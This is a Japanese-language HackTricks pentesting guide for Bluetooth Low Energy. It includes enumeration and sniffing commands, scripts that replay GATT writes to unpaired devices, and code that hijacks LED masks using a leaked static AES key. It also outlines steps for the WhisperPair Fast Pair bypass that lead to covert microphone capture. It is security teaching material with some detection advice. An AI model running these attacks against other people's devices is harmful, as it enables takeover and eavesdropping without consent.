Pentesting BLE - Bluetooth Low Energy
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
導入
Bluetooth 4.0 仕様以降で利用可能な BLE は、2400~2483.5 MHz の範囲をカバーする 40 チャンネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャンネルを使用します。
BLE デバイスは advertising packets(beacons)を送信して通信します。これらのパケットは周囲のデバイスに BLE デバイスの存在をブロードキャストします。これらのビーコンは場合によってはデータを送信することもあります。
受信側デバイス(central device とも呼ばれます)は、advertising packet に対して特定の advertising デバイスに送られる SCAN request で応答できます。そのスキャンに対する response は、初回の advertising request に収まりきらなかった完全なデバイス名などの追加情報を含め、advertising パケットと同じ構造を使用します。
.png)
プリアンブルバイトは周波数を同期させ、4 バイトのアクセスアドレスは複数のデバイスが同一チャネルで接続を確立しようとするシナリオで使用されるconnection identifierです。次に、Protocol Data Unit(PDU)がadvertising dataを含みます。PDU にはいくつかのタイプがあり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスが接続を受け付けない場合は ADV_NONCONN_IND PDU タイプを使用し、advertising パケット内でのみデータを送信します。デバイスが接続を許可する場合は ADV_IND を使用し、一度connectionが確立されると advertising パケットの送信を停止します。
GATT
Generic Attribute Profile(GATT)は、デバイスがデータをどのようにフォーマットし転送するかを定義します。BLE デバイスの攻撃面を解析する際は、デバイスの機能がどのようにトリガーされ、データがどのように保存・グループ化・変更されるかを示すため、しばしば GATT(または GATTs)に注目します。GATT はデバイスの characteristics、descriptors、および services を 16 ビットまたは 32 ビット値としてテーブルに列挙します。characteristic は central device と peripheral 間で送受信されるデータの値です。これらの characteristic はそれらに関する追加情報を提供する descriptors を持つことがあります。関連する動作を実行する場合、characteristics はしばしば services にグループ化されます。
列挙
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool は別のデバイスと接続を確立し、そのデバイスのcharacteristicsを列挙し、属性の読み取りと書き込みを行うことができます.\
GATTToolは-Iオプションで対話型シェルを起動できます:
GATTTool の対話的な使用方法と例
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
ペアリングされていない BLE デバイスの Sniffing と積極的な制御
多くの低価格な BLE 周辺機器は pairing/bonding を強制しません。bonding が行われないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは平文になります。オフパスの sniffer は接続を追跡し、GATT 操作をデコードして characteristic のハンドルや値を把握でき、近くの任意のホストが接続してそれらの書き込みをリプレイすることでデバイスを制御できます。
Sniffle を使った Sniffing (CC26x2/CC1352)
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)、NCC Group の Sniffle firmware で再フラッシュ済み。
Linux に Sniffle とその Wireshark extcap をインストール:
Sniffle extcap をインストール (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```SonoffをSniffle firmwareでフラッシュする(シリアルデバイスが正しいことを確認してください。例: /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Sniffle extcap を使って Wireshark でキャプチャし、filtering により state-changing writes へ素早く pivot します:
_ws.col.info contains "Sent Write Command"
これはクライアントからの ATT Write Commands を強調表示します。handle と value は多くの場合デバイスの動作に直接対応します(例:buzzer/alert characteristic に write 0x01 を送ると作動し、0x00 で停止します)。
Sniffle CLI の簡単な例:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic の nRF Sniffer for BLE と Wireshark plugin も動作します。小型/安価な Nordic dongle では通常、sniffer firmware をロードするために USB bootloader を上書きするため、専用の sniffer dongle を保持するか、後でブートローダーを復元するために J-Link/JTAG が必要になります。
GATT を介したアクティブ制御
sniffed traffic から writable な characteristic handle と value を特定したら、任意の central として接続し、同じ write を実行します:
-
Nordic nRF Connect for Desktop (BLE app) を使用する場合:
-
nRF52/nRF52840 dongle を選択して、scan しターゲットに接続します。
-
GATT database を参照し、ターゲットの characteristic を見つけます(多くの場合フレンドリ名が付いています。例: Alert Level)。
-
sniffed bytes で Write を実行します(例: トリガーに 01、停止に 00)。
-
Windows 上で Nordic dongle を使い Python + blatann で自動化する:
Python + blatann を使った write の例 (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### ケーススタディ: hijacking BLE LED masks (Shining Mask family)
安価なホワイトラベルの BLE LED マスクは、“Shining Mask” アプリで制御され、pairing/bonding なしで近隣の任意の central からの書き込みを受け付けます。アプリは GATT を使ってコマンド用の characteristic とデータ用の characteristic にアクセスします。コマンドはアプリ内にハードコードされた静的キーで AES‑ECB 暗号化されますが、画像のバルクデータは暗号化されていません。
これらのデバイスの主な UUID:
- コマンド書き込み characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
未認証の GATT 書き込み
- pairing/bonding は不要。どのホストでも接続してコマンド UUID に書き込みができ、明るさの変更、画像選択、アニメーション開始などが可能です。
- 一般的に観測された操作: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
静的キーによる AES コマンド構成
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
画像アップロードのフロー
- 暗号化された DATS handshake の後、raw chunks は data characteristic …960a に暗号化されずに書き込まれる。
- Packet format: [len][seq][payload]. 経験的に、1パケットあたり約100 bytes payload が安定して動作する。
最小限の画像アップロード擬似コード
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)
- **検出:** BLE 広告をスキャンして **service UUID 0xFE2C** (Google Fast Pair) を探す。ペアリングモードのデバイスは通常ペアリングバッジを公開する;ペアリングモード外でも Fast Pair service は GATT に応答することがある。
- **非侵襲的プローブ (signature enforcement check):**
1. Fast Pair service に GATT で **connect** し、**Model ID を read** する。
2. 署名なしで **Key-Based Pairing (KBP) の値を書き込む**。ペリフェラルが署名のない KBP 書き込みを受け入れる場合、signature-bypass (WhisperPair/CVE-2025-36911) の影響を受ける。拒否はパッチ適用を示す;既にペアリング済みの場合は失敗が結論づけられないことがある。
- **BLE → BR/EDR pivot:** **KBP Request** を送信し、**暗号化された応答** を解析してターゲットの **BR/EDR address** を復元する。クラシックボンディング呼び出し(例: Android **`createBond(<BR/EDR address>)`**)を使って不正なペアリングを完了する。対応している場合は **Account Key** の書き込みで関連付けを永続化できる。
- **ボンド後のマイク悪用:** ボンディング後、**HFP** を開いて **SCO audio** を開始すると、ライブのマイクストリームを取得して傍受/録音できる(例: M4A に保存)。この一連の流れにより、署名なしの KBP 受け入れがユーザーの同意なしにリモート音声取得につながる。
- **検出/追跡:** Fast Pair の GATT トラフィックの直後に KBP で返された BR/EDR address へのクラシックボンディング試行が続いているパターンや、署名のない KBP 書き込みを探す。KBP に対する署名検証を強制し、ユーザー確認のあるペアリングを促すことでこの連鎖を断つことができる。
## 運用ノート
- 堅牢なチャネルホッピングと接続追跡のため、Linux 上で Sonoff+Sniffle を推奨する。予備の Nordic sniffer をバックアップとして用意しておく。
- ペアリング/ボンディングなしでは、近傍の攻撃者が書き込みを観測して再送/偽造し、認証されていない書き込み可能な characteristics に対して操作できる。
## 参考
- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>


